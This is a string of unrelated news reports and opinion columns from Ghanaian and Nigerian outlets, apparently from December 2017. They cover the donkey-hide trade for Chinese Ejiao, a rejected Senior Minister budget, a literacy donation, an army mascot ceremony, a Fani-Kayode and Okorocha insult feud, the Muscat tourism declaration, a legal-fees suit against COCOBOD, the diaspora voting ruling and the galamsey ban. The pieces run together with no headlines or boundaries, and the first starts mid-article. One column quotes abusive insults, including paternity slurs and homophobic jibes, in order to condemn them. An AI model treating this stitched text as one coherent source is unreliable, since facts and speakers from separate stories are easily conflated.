From Delta state on Nigeria's southern coast, hides are shipped to China where they are stewed to render the coveted gelatin known as "Ejiao" in Chinese.

The buyers, who believe that soluble Ejiao gum is an effective remedy for troubles ranging from colds to aging, comprise a market thought to be worth hundreds of millions of dollars every year.

"The medicine is popularly referred to as a blood tonic and helps to fortify the body, particularly in conditions like anaemia," said Oliver Emekpor, a butcher handling donkey meat at the Ughelli market.

"It comes in blocks of dried pieces which are melted down into a brew of herbal mixture to drink and sells for up to $390 (330 euros) per kilo."

Nothing is wasted. To maximise profits, donkey dealers often sell the remaining meat to unwary consumers as beef, a practice described by a local trade association as "criminal".

Hooves are used to make shoes and donkey bones are used to manufacture plates.

'Scarcity of donkeys'

Boys work with their precious donkey at an excavation site in the far northern state of Kano, digging sand for market. Locals are alarmed that the donkey hide trade has led to soaring prices for working animals

Simon Pope, a campaigner at the Donkey Sanctuary, a British animal welfare charity, said that the scale of the donkey trade is almost impossible to estimate.

"Each donkey hide produces one kilogram of Ejiao and there is a huge uncertainty about how many hides are being used annually," he said.

Yemi Adebayo, an official at Nigeria's trade ministry, acknowledged that donkey hide sales to China are booming, but refused to confirm if any deal had been struck to facilitate shipments.

"Different countries either support or oppose the trade in different ways," he said, but the status of the activity in Nigeria remained unclear.

Dong-E E-Jiao is China's market leader for the manufacture and sale of Ejiao, controlling 70 percent of the market. The firm posted pre-tax profits of $295 million (250 million euros) in 2016 and handled roughly 700,000 donkey hides in 2014 alone.

Donkey numbers in China have nearly halved from 11 million in the 1990s to six million in 2013, according to official statistics.

China produces 5,000 tons of Ejiao each year, requiring some four million hides, according to the China Daily.

"The strong players will get stronger amid the scarcity of donkeys and decreasing supply of donkey hide," wrote BOCOM International financial services in a research note for investors.

The Donkey Sanctuary's investigation into the trade, "Under the Skin," revealed that the explosion in demand had led to a surge in donkey thefts in Africa, Asia and South America.

"Donkeys may soon go extinct if they continue to be killed," said Garba, the veteran sand digger. "Once they are finished, our trade will suffer."
Parliament has rejected the 2018 budget allocation for the office of the Senior Minister for its planned programmes and policies.

The parliamentarians rejected the budget estimated at six million cedis with the reason that the office was not a legal creation and therefore could not be allocated any funds from the national budget.

The Senior Minister office headed by Yaw Osafo Maafo was created by President Nana Addo Dankwa Akufo-Addo when he assumed office.

Leading the charge for the rejection was Minority Leader, Haruna Iddrisu who argued that the Senior Ministers office is expected to coordinate activities of other Ministries, Departments and Agencies and thus cannot be treated as a separate Ministry without legal backing.

It is either the President has not done that which is legally appropriate because I am holding with me the Executive Instrument (EI 28) Civil Service Ministry Statement 2017, signed by Nana Addo Dankwa Akufo-Addo, the President of the Republic of Ghana which creates the various Ministries and conspicuously lost in this list, is office of the Senior Minister so it means that the portfolio of Senior Minister is only being held morally , but legally he [President Nana Addo] has no locus and if the President must do what is legally appropriate to create the office by the Executive Instrument unless a different instrument is issued to that effect, Mr. Iddrisu argued on the floor of Parliament.

Supporting this assertion the Majority Leader, Osei Kyei Mensah Bonsu said the office ought to be placed under the office of government machinery to ensure effective accountability.

The office of the Senior Minister has therefore been urged to depend on the office of government machinery for its expenditure in the ensuing year.

Senior Minister role unconstitutional

The creation of the office been met with condemnation from some critics who believe the office is a superfluous portfolio with no proper designation.

Apart from Mr. Iddrisu , Member of Parliament for Bawku Central, Mahama Ayariga has also argued that the creation of the office is unconstitutional.

According to Mr. Ayariga, President Nana Addo breached the constitution by making that appointment, arguing that the nomination of any person to be vetted for the post of a 'Senior Minister' constitutes a constitutional aberration, adding that nowhere in the Constitution does the office of 'Senior Minister' exist.

Osafo-Maafo justifies Senior Minister porfolio

Senior Minister, Yaw Osafo Maafo however justified his appointment, explaining that his core duty will be to coordinate the roles of the various economic ministries in the new government.

Osaafo Maafo made the comment while responding to Member of Parliament for Bawku Central, Mahama Ayariga's question on whether Nana Addo's creation of the Senior Minister office was constitutional, during his vetting.

Supporting his argument with Article 78 (2) of the constitution, Mr. Maafo posited that, the President has the prerogative to appoint anyone to any portfolio he deems fit.

Article 78 (2) of the 1992 constitution states that the President shall appoint such number of Ministers of State as may be necessary for the efficient running of the state. 



By: Marian Ansah/citifmonline.com/Ghana

The post Parliament rejects GH6m budget for Senior Ministers office appeared first on Ghana News .
Gedaid Foundation, a local nongovernmental organization with the vision to help reduce illiteracy in basic schools across the country has donated 3,000 reading books to 13 basic schools in the Accra Metropolis, Labone and 37 enclave as part of its three books per child literacy project. The goal of the project is to ensure that every child in basic school reads at least one story book a term, three books a year and 18 books for the first six years of basic education.

The Executive Director of Gedaid Foundation, Mr. Emmanuel Asafo-Adjei presented the 3,000 books to head teachers of the 13 recipient schools at a brief donation ceremony held at the Kanda cluster of schools in Accra. The lead sponsor of the donation was the Rotary Club of Labone.

Mr. Asafo-Adjei stated at the occasion that, the child literacy project envision helping government to implement the 4Rs (Reading, wRiting, aRithmetic and recReation) as contained in Ghanas 2018 Budget. He stressed that, the project will be expanded to all basic schools, in partnership with the Ministry of Education, Ghana Education Service (GES) and other stakeholders from 2018-2030 to help pupils in basic schools to develop better skills in reading and writing; and also, help Ghana work towards achieving the Sustainable Development Goal Four of the United Nations.

According to the Executive Director, 750 million of the worlds population cannot read and write. Out of that figure, 250 million have stepped into the classroom but are illiterate. He further stated that current report in 2017 from UNICEF and the World Bank indicates that 600 million children are in school but cannot read. The situation is not different from Ghana where a study commissioned by GES revealed that only two percent of class two pupils in basic schools are proficient in reading.

Mr. Asafo-Adjei, said, his outfit conducted a literacy needs assessment to understand the reading trend in the beneficiary schools which outcome showed that the literacy project will benefit 1,359 pupils in class one to three. Out of the total, 394 pupils cannot read at all, 339 are struggle readers, and 629 are proficient readers. The factors accounting for the literacy deficiency includes: lack of parental involvement in their childrens education, access to supplementary reading books and inadequate literacy workshops.

He also emphasized, that, although the GES has introduced early morning reading to enhance literacy in basic schools, all the beneficiary schools do not have reading books apart from a few old textbooks. He further noted that with the exception of one school, all the basic schools do not have libraries. With this trend of reading deficiency in public basic schools, there is the need to embark of such a project to reduce illiteracy in the country.

The Executive Director of Gedaid said his foundation has acquired over one hundred supplementary readers which have all been vigorously assessed and recommended by the Ghana Education Service and the Curriculum Research and Development Division for basic schools across the country. He appealed to Members of Parliament, Metropolitan, Municipal and District Chief Executives, metropolitan assemblies and sub-metros to join Gedaid to make available 12 million copies of the foundations approved books to basic schools to reduce illiteracy across the country.

The Deputy Director responsible for Supervision, Monitoring and Evaluation of the Ghana Education Service, Accra Metro, Madam Mable Esi Asigbetse commended the Foundations literacy initiative and promised that her outfit will supervise and ensure that the schools put the books to good use in order to achieve the purpose of the initiative. She also charged the teachers to take good care of the books. A representative of the Member of Parliament for Ayawaso East, Mr. Oladade Williams commended Gedaid Foundation for the laudable gesture; and affirmed that, the MP is ready to partner the foundation to extend the project to all the schools within his jurisdiction.

Madam Mable Esi Asigbetse (middle) from GES, Accra Metro, presenting some of the books to the headmistress of Flagstaff House Basic School
19.12.2017 LISTEN

The Two Infant Battalion (2BN) of the Ghana Armed Forces on Saturday organized a wreath laying ceremony in honour of the Unit's departed mascots.

The 55th Mascot Wreath Laying ceremony, held at the Myohaung Barracks at Apremdo, a suburb of the Sekondi/Takoradi Metropolis of the Western Region, was to remember the role played by the mascot as the spirit behind the Unit's Commanding Officer and as the soul of the Unit in general.

The 2BN has a white spotless ram as its mascot. The original mascot donated to the unit in March 1957 during the Independence March by Governor Sir Charles Arden Noble Clarke, died on December 16, 1962, the same day the Governor also died in the United Kingdom.

The Mascot named after the donor, Sir Charles Clarke was buried without ceremony since the unit was away in Congo.

After two years, its successor Corporal Charles II also died in 1964 and was accorded full military honours and buried next to the grave of Corporal Charles I with a 24-hour guard of one officer and three ORs on the grave for seven days at Arakan Barracks, Burma Camp in the Greater Accra Region.

The mascot tradition ceased until 1986 when Col. George Biah, retired revived it.

After the revival, many mascots have serviced the Unit and have been promoted to different ranks from Corporal to WOI.

In December 16, 2015, the then Commanding Officer of the Unit, Lieutenant Colonel G. K. T. Sam promoted WOI Charles VIII to the rank of Senior Warrant Officer after the 53rd Wreath Laying ceremony but it passed on after a short illness.

On December 2016, during the 54th Wreath Laying ceremony, Lieutenant Colonel G. N. K. Hoenyedzi promoted the current mascot and assigned it a regimental number 562016.

It is believed that the mascot inspires the Unit to higher achievements and it was that inspiration that had spurred the Unit from the time immemorial.

GNA

By Mildred Siabi-Mensah, GNA
Femi Fani Kayode, a two-time minister of the Federal Republic of Nigeria and the controversial Governor of Imo State and Chairman of All Progressive Congress (APC) Governors Forum, Rochas Okorocha, have frequently been in the media these days for the very wrong reasons. The raging bout of heavily-worded, mostly unguarded personal attacks between Rochas Okorochas team of advisers and those of Femi Fani Kayode has now become a boring, embarrassing weekly ritual. Many Nigerians I spoke with think the war is getting out of hand and must be stopped immediately.

Those who must speak for Nigerian politicians should begin to avoid attacks that border on individual persons and focus on the things that bring or would bring Nigerians together, not those things that will tear them asunder as they take sides. That is what makes democracy tick. That is the type of political angle that attracts the respect of the international community. And we cannot continue the way we are all going as if we didnt know that the international community exists.

In a post in the Sun newspaper weeks ago, for instance, Governor Okorocha was said to have taken a swipe at Mr Fani Kayode because he had said the images depicting the visit of the All Progressive Congress (APC) governors to President Buhari while he was in hospital in London were fake and that Okorocha, who conveyed the message, was a liar. As a result, many Nigerians were said to have doubted the authenticity of the photographs.

In a country endowed with so much mineral and solid mineral resources and yet so many citizens are dying daily of hunger and poverty, should the photograph of ministers visiting their President in his sick bed become so controversial as to create all the bad blood, or is it a way the politicians want to distract the masses from coming to terms with the harsh realities of their lives and circumstances?

Okorocha swiftly reacted to the statement, dismissing Kayode as a spoilt child. The Governors Chief Press Secretary, Sam Onwuemeodo was quoted as saying: this guy (referring to Fani-Kayode) is a spoilt child, one of those whose parents so over pampered that they hardly talk like human beings. Apart from somebody who went into government, he is not known for doing business. I wonder if he has ever worked and all of a sudden he had a political appointment. He has nothing else to brandish apart from the fathers name. Remove his fathers name; I dont think he is a human being. Rochas grew from the scratch. By the grace of God and hard work, he is where he is today. But that one (Kayode) apart from coming into politics, what else does he have to brandish?

Fani-Kayodes Special Adviser on Media, Jude Ndukwe, writing on behalf of his principal described Okorochas action as a sign of desperation to serve the evil purposes for which he had been procured.

This is true to the character of Okorocha, who is well known for his garrulousness which he ridiculously mistakes for oratory, with which, unfortunately, he has been misleading the good people of Imo State, he wrote. Okorocha is nothing but a dirty, cheap, fat, ugly frog that mistakes himself for a monkey simply because he can hop. He is one man who serves and defends a president and government that have murdered, insulted, marginalised and humiliated more of his own Igbo people than any other government in the history of Nigeria outside of the civil war.

For a man whose party has unprecedentedly threatened to arrest the moment he steps out from the immunity he currently enjoys, Rochas should actually be hiding his head in shame when men like Fani-Kayode are talking. Uche Onyeagucha, an APC chieftain and a former member of the House of Representatives, has accused Okorocha of lying serially when he said he had spoilt Imo people with projects, when in fact, Rochas has only littered the state with a plethora of abandoned projects, most of which exist only on paper.

A man who deceitfully created a phantom Imo Air that soon disappeared into thin air without any notice after it was commissioned with so much pomp and circumstance, does not deserve any serious attention. His deceit and cruelty have since been confirmed by Imo people, and his vicious credentials qualify him for a regular mental check.

The truth of the matter is that Fani-Kayode and Rochas are not in the same class. Imo people thought otherwise but today they know better. Our joy for them is that 2019 is just around the corner. They will surely kick him out, and his emptiness would be exposed.

Chief Femi Fani-Kayode himself needs no introduction. A Cambridge-trained lawyer who was called to the Nigerian Bar in 1985, he practiced law in the firm of Kayode & Sowemimo before he ventured into politics where he rose to the peak of his career, becoming a two-time minister of the Federal Republic after being appointed the first ever Special Assistant on Public Affairs to the President of the Federal Republic of Nigeria.

The import of all these is that Rochas has no history backing up his claim to fame today. He is alleged to come from an unknown root as his paternity is believed to still be very much in doubt even in Imo State.

Not yet done, the former minister struck again even more deeply through this media adviser. Ndukwe was said to have described Rochas Okorocha as a pig and an old villager, who does not have any integrity. He said Okorocha should be seeking forgiveness from God after betraying Igbo people and his elders.

Okorochas Chief Press Secretary, Sam Onwuemeodo took it from there and defined the statement credited to Fani-Kayode as an unintelligent, unprovoked and unwarranted media attack against his principal.

In his response, Fani-Kayodes adviser said Rochas is obsessed with his principal and that he (Rochas) was looking for cheap popularity. He said: instead of respecting himself, shutting up and seeking for forgiveness from God for betraying his Igbo people, addressing his elders and betters in an inappropriate and insolent manner and playing the fool, the village idiot called Rochas Okorocha has once again fouled up the public space by opening his dirty mouth and talking about Chief Femi Fani-Kayode, the former Minister of Culture and Tourism and former Minister of Aviation. This time around he talks about FFK not having what he calls native sense and he goes on obsessing about his distinguished family, privileged upbringing and noble lineage.

Clearly Rochas is obsessed with FFK and he has come to appreciate the fact that there are some things, like class, a good lineage and integrity that money cannot buy. They say a pig that wears lipstick remains a pig. And that is precisely what Rochas is: a filthy, greedy and conscienceless pig who does not know when to shut up. He has no decorum, no finesse, no decency, no class, no education and no integrity. He is a primitive and bush villager of questionable paternity whose father remains unknown even to his mother. If he is truly a man and not the animal that we know him to be, let him come on a live television show with FFK to debate these issues including his sordid and filthy history and background and then Nigerians can decide for themselves who really has native sense between FFK and him. We repeat that a man who constantly speaks up for and supports a government that consistently slaughters and routinely massacres his own Igbo people can only be described as a sociopathic self-hating Igbo who is suffering from a terrible and debilitating inferiority complex. He was born a slave and he will die a slave. Attempting to compare himself to a courageous, well-educated, refined, confident, attractive, successful and well-bred man like FFK is like comparing fine wine to toilet water. Rochas is scum and nothing more than scum. When he finishes his tenure as governor he will crawl back into the filthy cesspit and hole from which he came.

FFK was never a ritualist, a cultist, a 419er, a sodomite, a traitor or a dirty and unreliable street urchin and scammer. He never ruined the lives of millions, bowed before strange gods and slept in coffins to make his money. He never sold his soul to the devil or his body to reprobate men who lust for other men in return for money and power. Unlike Rochas FFK frowns upon such things and comes from a noble heritage and a spiritually clean and strong foundation. Rochas knows where he has soiled his hands and what the source of his power and wealth is. He has much to answer for and the evil spirits that, by his own admission, have been tormenting him ever since he became governor will soon take their pound of flesh. The sword of the Lord is poised to strike and the judgement of God awaits him for his many indiscretions and sins.

One very important fact these media advisers to public office holders must know is that all this stuff like calling a sitting governor, no matter his level of performance, scum, village idiot and pig does not impress any reasonable person. In a very profound sense, what is happening now has its roots in my recent article titled Rehoboam Syndrome and the Reform Nigerian politicians have to make and published in the Modern Ghana newspaper of 6 November 2017, and in other media. It simply buttresses what I expressed in that article. Rehoboam took the advice of his fellow youths not to show any sign of weakness to his subjects and that cost him so much that out of the twelve tribes of Israel, he secured only two while ten tribes went with his fathers worker, Jeroboam.

It is obvious that in their anxiety to paint the images of their principals dazzling white, these younger advisers have gone a reasonable distance in making their principals look immature, irresponsible and even ridiculous in the eyes of the international community. That is why I recommended that public office holders should look for people who are older than themselves to make their advisers. Those older ones will not be after their own pockets. They will take their assignment seriously and advise their principals in a way that will mean well for their political careers. Then there will be no need for all this who was his father stuff.

Who was Barack Obamas father for him to become the first Black American President? His father was known to be brilliant. Yes. He was said to be doing his PhD before he died in a motor accident. Yes. He was an unrepentant drunk. Yes. He was Kenyan. And he had no decent house in Kenya. But that didnt stop his son to aspire to be greater than his father. So, what if Okorochas father is not an Imo man? Does the Nigerian constitution specify that a governor must be an indigene of the state he wants to govern? What about states like Lagos where people who are not born in them have become public office holders?

In a true democracy, the lowly birth of a citizen should not pin him down to poverty or handicap. That is why we say that poverty is not condemnation, it is a challenge. That is why we also emphasize social mobility. Talking about class, it is important to note that Nigerians have several social classes. They have the working class (who are never paid as at and when due). They have the political class. They have the unemployed class. They have the bourgeoisie class who dont work but earn better salaries than those who work. And they have the business class and the handicapped class. So, which one are talking about here? Because it is pretty obvious that Okorocha and Fani Kayode both belong to the political class.

Again, it will be wrong to assess Okorochas performance without putting the achievements or non achievements of his predecessors in the equation. He can only be fairly assessed in comparison with the achievements of those who were there before him. Taking him in isolation and attempting to assess his achievements is not only uncharitable, I think it is a travesty of justice.

Now, what many of us senior citizens would expect the media advisers to be doing is concentrating on how to win the confidence of the electorates, come 2019. Many Nigerians are starving. It is not easy to know that. But even before I went to Nigeria on vacation, some isolated incidents revealed that to me. First was the security officer in my country home. One night, his daughter phoned me in England and complained that her mother was very ill. She was vomiting and stooling blood. I told them to take her to my family doctor who had been requested by me to give them prompt medical attention each time they were ill and to direct the bill to me. The young girl said they had no money to send the woman to the hospital. I asked them how much we were looking at. They said one thousand naira. I had to send them four thousand naira from UK to take the woman to the hospital. That is the sort of level of poverty that is muscle-flexing the country and most of its citizens. If I hadnt sent money, perhaps the woman would have died from her illness, who knows?

Even this morning, I went to the cash point to get some money. The woman before me wanted to withdraw four thousand naira. She didnt have that much in her account. She reduced it to three thousand naira and yet there was no money. She reduced it again to two thousand naira. Yet there was no money. By this time impatient people queuing up behind her began to swear at her for wasting their time. And she burst into tears. I was so moved, but what could I do? That is the national spirit!

Talking about preparations for the 2019 elections, the Peoples Democratic Party (PDP) needs to see itself as the shadow or alternative government. As far as it is visible, the PDP is not playing that role well. Let them do some research. Let them ask questions. What do the people want? Put a questionnaire across to them. What are their priorities? Do they want more houses at local and state government levels? Do they want better roads leading from rural farming to urban consuming areas? Do they need better markets and stalls? Do they desire better education for their children? Are they in greater need of career training? Are they in need of better medical facilities? Is drinking water their major problem? The organisers of the opposition or shadow government should go from ward to ward to find out where the interests of the voters are. Then they should come up with how they intend to address these concerns in event they win the confidence of the electorates. With these facts they can also challenge the ruling APC and make the people see the difference in changing for better or for worse.

Having said this much, I sincerely hope that media advisers to the political class in Nigeria would see reason to stop all these attacks on the persons of public office holders. They should be discussing issues and ideologies relating to their parties or offices, not pouring vituperations on individual public office holders which will back fire when people learn to read between the lines. They should initiate conversations in which both sides will showcase what they have in stock for their various communities. And if they must speak for their principals next time Nigerian politicians advisers must be more discreet.
The rapid growth of cultural tourism is undeniably evident, and this, according to the UNWTO Secretary-General Taleb Rifai, comes with increased responsibility to protect our cultural and natural assets, the very foundation of our societies and our civilizations.

Major stakeholders at the just concluded 2nd UNWTO/UNESCO World Conference on Tourism and Culture Muscat, held in the capital city of the Sultanate of Oman on 11th-12th December 2017, reaffirmed to build and strengthen partnerships between the tourism and culture sectors and enhance their role in the UNs 2030 Agenda for Sustainable Development. This, under the Muscat Declaration on Tourism and Culture : Fostering Sustainable Development.

1. Strengthen the synergies between tourism and culture and advance the contribution of cultural tourism to the 2030 Agenda on Sustainable Development and the 17 SDGs;

Under this commitment, five underlying pointers are listed among them promoting the engagement of local communities and the private sector in developing cultural tourism and preserving cultural heritage. It also emphasizes on the need to promote a culture of respect among tourists and local communities, when visiting sites and destinations for purposes of sustainable cultural tourism.

2. Enhance the role of tourism and culture in peace building and heritage protection, especially in conflict affected areas;

Culture and tourism are vital components to peaceful co-existence not only at the local level, but also at the regional and international levels. It is therefore important to raise awareness on the processes and impacts of sustainable cultural tourism on security, peace-building, and reconciliation by enabling it to strengthen cross-border travel and global citizenship, encourage visits to peace-related sites, as well as religious tourism. Tourism plays an important role as a vehicle for inter-cultural dialogue and, ultimately, peace, said Francesco Bandarin, UNESCO Assistant Director-General on Culture, in his opening speech at the conference, on behalf of UNESCO Director-General, Audrey Azoulay.

3. Promote responsible and sustainable tourism management of cultural heritage;

The declaration emphasizes on promoting responsible and sustainable tourism management at World Heritage sites; as well as safeguarding intangible heritage, which is crucial in maintaining the allure of tourism destinations.

4. Encourage a creative and innovative approach for sustainable urban development through cultural tourism;

Coming at an era when digitalization is at the heart of every development, the Muscat declaration underscores the use of new technologies and innovation to support development; particularly in terms of entrepreneurship and job creation, as well as fostering creative business opportunities in cultural tourism.

5. Explore the inter-linkages between culture and nature in sustainable tourism.

Finally, under the fifth commitment, developing and promoting cultural tourism programmes to support sustainable development of cultural tourism in rural areas, particularly by supporting local SMEs; is among four of the stated obligations.

P.S: The information is majorly derived from the Muscat Declaration on Tourism and Culture: Fostering Sustainable Development document.

Credit: Josephine Wawira
An Accra High Court (Commercial Division) has dismissed a suit filed by Lithur Brew and Company demanding the payment of GH2,005,320 being legal fees owed by the Ghana Cocoa Board (COCOBOD), for being incompetent.

The law firm, Lithur Brew & Co, in August 2017, filed a writ of summons against the COCOBOD, praying the court to recover the said money and interests accrued at the prevailing commercial bank's lending rate from February 20, 2017.

The plaintiff, represented by Tony Lithur  a prominent NDC lawyer and counsel for former President John Dramani Mahama in the 2012 election petition hearing  also requested the court to order for costs and other things as the court may deem fit.

The Ghana Cocoa Board, represented by George Laing, in its affidavit in opposition, prayed the court to strike out the writ of summons and statement of claim against the defendant for want of capacity as the writ is incompetent.

He argued that by the laws of Ghana, it is only a person whose name is entered on the Roll of lawyers, who is competent to maintain an action for the recovery of his or her legal fees, among others.

Mr Laing further argued that the plaintiff never entered on the Roll of lawyers nor licensed to practise in accordance with the law and that as the present writ of summons and statement of claim stands, same is incompetent and same must be struck out.

The court, presided over by Justice Samuel K.A. Asiedu, wondered whether a law firm can sue for recovery of unpaid legal fees.

He held that the plaintiff in the matter is described as a company and for that matter is not a natural person, as by law, it is only lawyers who may be licensed to render legal services according to the Legal Profession (Professional Conduct and Etiquette) Rules, 1969, Li 613.

In the opinion of the court, the word 'person' as used in Section 2 of the Legal Profession Act, means a natural person and it does not include artificial person like the plaintiff in this suit.

According to the Act, it is such natural persons whose names are entered on the Roll of lawyers who may, subject to being licensed, practise law, whether as barristers or solicitors or both, and who are given the power under the Act to sue to recover fees, charges and other disbursements for services which they have rendered to their clients, the judge ruled.

Justice Asiedu also held that it follows therefore that a non-natural person cannot in the first place render legal services, let alone sue for the recovery of fees and charges and other disbursements.

In so far as the plaintiff cannot practise law, it follows that the plaintiff cannot sue to recover fees. No one is entitled to sue to recover fees for work it has not done or cannot do.

In the opinion of the court, the plaintiff, in this suit, has no capacity to institute the instant action against the within-named defendant for the relief endorsed on the writ of summons. The instant action is therefore incompetent and the writ is therefore dismissed, Justice Asiedu ruled.
The Coalition of Domestic Election Observers (CODEO) has said the judgement of the Human Rights Court which called for the implementation of Representation of the People Amendment Act (ROPAA) will enlivens Ghanas democracy.

Speaking to otecfmghana.com on Monday December 18, 2017, after the court ruling, the National Coordinator of CODEO Mr. Albert Kofi Arhin observed that granting Ghanaians in the Diaspora opportunity to vote is in the right direction because many countries have successfully done it and Ghana too can do it.

On December 18, this year, the Human Rights Court (High Court Division) gave the Electoral Commission (EC) 12 months to implement the Representation of the People Amendment Act (ROPAA).

ROPAA gives all Ghanaians living abroad the right to register and vote.

Since the passage of the ROPAA bill into law (Act 699) eligible citizens living abroad have the right to register and vote in Ghanas elections.

The judgement also brings to rest the over eleven-year hustle of implementing the ROPAA law since it was enacted in 2006. Ghanaians working at embassies and state institutions were only allowed to vote thereby disenfranchising other citizens working abroad.

According to the trial judge, the EC has 30 days within which to notify the court in the event of the ECs inability to comply with the orders, adding that the EC shall state its reasons for its inability to comply with the order.

The court noted that the EC had failed to justify reasons over the delay in implementing the ROPAA law, Act 699, adding that the non-compliance of Act 699 constituted a breach of fundamental human rights under Article 42 of the 1992 Constitution.

According to Mr. Arhin, the judgement indicated that beginning 2020, Ghanaians living abroad would vote in Ghanas elections.

We have crossed advocacy, passed legislation, traversed litigation and have arrived at the doorstep of implementation. With the force of the court, ROPAA has arrived, he told newsmen after the verdict.

Successive governments over the years failed to implement it, prompting the applicants: Kofi A. Boateng, Nellie Kemevor, Obed Danquah, Christiana Sillim and Agyenim Boateng, all residing in USA, to went to court over the matter.

The court presided by His Lordship Justice Anthony K. Yeboah delivered a judgment on Monday, 18 December directing that EC to implement the law.

Mr. Arhin therefore appealed to the Electoral Commission (EC) to implement the courts order swiftly to avoid any breach of law.

Mr. Albert Kofi Arhin asked the Electoral Commission (EC) of Ghana should prepare a Constitutional Instrument (LI) to back ROPAA for its effectiveness.
I am sure I am not the only person who was dismayed to read that the Minister of Lands and Natural Resources, Mr Peter Amewu, had stated that the ban on illegal mining (galamsey) would be lifted at the end of January 2018. Speaking in an interview with Accra-based JoyFM, Mr. Amewu said: The ban will soon be lifted to enable the miners [to] work.... Currently, small-scale mining licenses are undergoing some form of auditing and when the process is completed, it will be recommended to [the] Cabinet for the ban to be lifted, he added.

The lifting of the ban, Mr Amewu went on, would depend on the level of cleanliness of the river bodies across the country, and also the number of people that have been trained and the validation of the licenses and the willingness for reclamation.

I am afraid Mr Amewu's statement will only add to the confusion that already exists in the public mind about the Government's approach towards the elimination of galamsey. The Government has sent a Task Force, composed of military and police personnel, to the areas where galamseyers are known to be operating, to drive them out. Those arrested are handed over to the police for prosecution and their equipment is seized and sometimes destroyed. Has the Task Force told the Government that it has accomplished its prescribed objective successfully?

Mr Amewu must be aware that a massive propaganda offensive has been embarked upon against the operations of the Task Force by well-organised galamseyers' groups, who do not even seek to hide the fact that they have a political agenda! These people will do everything to discredit the operations of the Task Force in order to have it withdrawn (as happened to the Task Force set up by the NDC Government)..

As could be expected, the galamseyers have consistently sought to bad-mouth the Task Force, accusing its members rather loosely of corruption.

Despite their ability to bend the ears of some journalists, however, they have never been able to produce an iota of evidence to support their allegations. If such scandalous behaviour is prevalent in an operation that has loudly advertised itself as setting out to save the nation from destruction, (no less!) shouldn't those who claim they had detected the corruption be ready to collect evidence of it so that corrupt soldiers might be taken before a court-martial and similarly placed policemen prosecuted before the courts?

But no: the Task Force's accusers merely allege: Some members of the Task Force are collecting bribes. Anyone -- but anyone -- can say that if he finds the Task Force a serious obstacle to his money-making, can't he?

One hesitates to provide a blanket defence for the Task Force because Ghana is a strange place where the unexpected often happens. But fair is fair: if there is evidence, it must be presented to the appropriate authorities. But unfortunately, even some members of the Government itself are given to making unsupported allegations about corruption within the Task Force, which can only gladden the hearts of the anti-Task Force propagandists.

For instance, the Eastern Region Minister and Chairman of the Regional Security Council (REGSEC), Mr Eric Kwakye Darfuor, was reported by CitiFM on 14 December 2017 to have revealed that some youths in mining communities are enticing (sic) members of [the] anti-galamsey Taskforce, Operation Vanguard, who are on assignment in the region.

Reveal? What were the names of the youths? And those of the "enticed" Task Force members?

The CitiFM report continued: According to him, the situation is making the fight against illegal mining very difficult.... The youth of this area who are into galamsey are bribing the Operation Vanguard personnel, so it doesnt work. You dont know when youll suffer the effect of illegal mining. This is a serious issue so I beg of you lets discourage such acts.

Obviously, Mr Darfuor is rightly concerned about the damage galamsey is causing in his region. But he should be careful not to play into the hands of those his Government is fighting against. With the greatest respect, I must point out to the Minister that what he said is capable of demoralising the members of Operation Vanguard. Yet he provided no evidence to back what he said. Certainly, if he has solid evidence of such bribery (and I allow that as chairman of the Regional Security Council, he could well have come into possession of such evidence) he ought to communicate it to the commander of Operation Vanguard (who, to my knowledge, liaises closely with the regional authorities).

If the commander failed to take action upon receiving the information, then the matter ought to be brought to the notice of the President's Chief of Staff, who would alert the Ministers of Defence and the Interior, who would immediately pass the information down the chain of command, I am sure. There is something called "collective responsibility" which must be observed by all Ministers. In short, it obliges a Minister to tell a colleague Minister about issues concerning departments under the colleague's portfolio, that come to his/her notice. Going public with information that might amount to no more than an unfounded allegation, does harm to the Government as a whole.

Anyway, the Commander of Operation Vanguard, Col. William Agyepong, said of these allegations: From where I sit, I can say [that] noOperation Vanguard personnel has [so far] been compromised, as is being said.... You [galamseyers] are not supposed to be in the field.... so why do you go to the field and later claim that somebody is [extorting] money from you? Thats not how weve been trained. If you look at the items weve seized so far and the money weve collected from the arrested persons as exhibits... Let me cite Atiwa. We had to collect money [amounting to] over GHC40,000, together with [US] dollars and [British] pounds sterling, from the miners and these monies were intact as at the day they were giving [a] pronouncement [on it] at the court.

 These monies were handed over to the [police and exhibited in the court]. If we were out there looking for money, why [would] we even have to wait a minute [before pocketing the money]? These monies were with us!

That's the situation on the ground. But with such things still going on, why is the Minister of Lands and Natural Resources Minister, Pete Amewu, convinced that the time has come to lift the ban on galamsey and call off Operation Vanguard, as early as the end of next month?

I am sorry but Mr Amewu is perhaps being naive in thinking that the Government has got anywhere towards ending galamsey. I know that enormous pressure will be put on him by the hidden forces that have been stopped from obtaining filthy riches through galamsey and who care nothing for our water-bodies and farms. But he must continue to resist such forces. Talk by the galamseyers' participating in "voluntary land reclamation"; of allowing themselves to be trained to observe good practice with regard to the environment; or at the Ministry level, of "scrutinising" miners before they are granted licence, is all eyewash. Such things have been talked about forever, and yet Ghana has inexhorably been turned into a wasteland before our very eyes.

Indeed, shall quote a traditional proverb to Mr Amewu: If you don't know what death is like, take a look at deep sleep!Mr Amewu should think back to his reaction on first seeing the devastation that galamsey had wrought upon our landscape and water-bodies. Could he believe that any fellow Ghanaian would willingly take part in wrecking his own people's rivers and streams and farms and forests  to such an incredible extent? If they could summon the initial wickedness to transform our green and fertile country into a lunar landscape littered with craters on its surface, why should we trust them to ever their methods? Isn't the smell of money the same top them, no matter what method is used to get it?

The incredible damage they have already done was carried out without the slightest remorse (even when the authorities were hunting the galamseyers). What will prevent them from doing worse things when given the go-ahead by politicians whom, they will believe, they have managed to intimidate with overt and covert threats, to agree to the legalisation of galamsey? Politicians who recognise that the galamseyers' need to to earn a living? (As if "earning a living" can be done through breaking the law -- through such wicked acts as armed robbery; waylaying of people; and other nefarious enterprises).

I want to remind Mr Peter Amewu that our President and Commander-in-Chief has declared unambiguously that the approach to ending the destructive activities of galamseyers has to becomprehensive.The piecemeal approach that had characterised past efforts to end the menace had not t been effective, the President once told journalists in Kumasi. We need a comprehensive policy which may even involve [new] legislation," the President said.

That, Mr Amewu, is your unambiguous mandate.
The Insurance Consumers Association of Ghana is committed to providing insurance consumers with necessary assistance on claims processing and accessing other rights.

It has stated that, it is prepared to offer legal support to insurance consumers when necessary in claims processing litigations which normally arise when the cause of accident is mostly not clear.

INSCAG is a limited by Guarantee entity which has its main objective to serve as a trusted and respected redressal platform for aggrieved insurance consumers in the country as well as, serving as the reliable, authentic and authoritative central information point on issues relating to the insurance industry.

The group is committed to collaborating with all the necessary stakeholders for the development, restructuring, policy advocacy, mass mobilization and information dissemination on insurance business in the country.

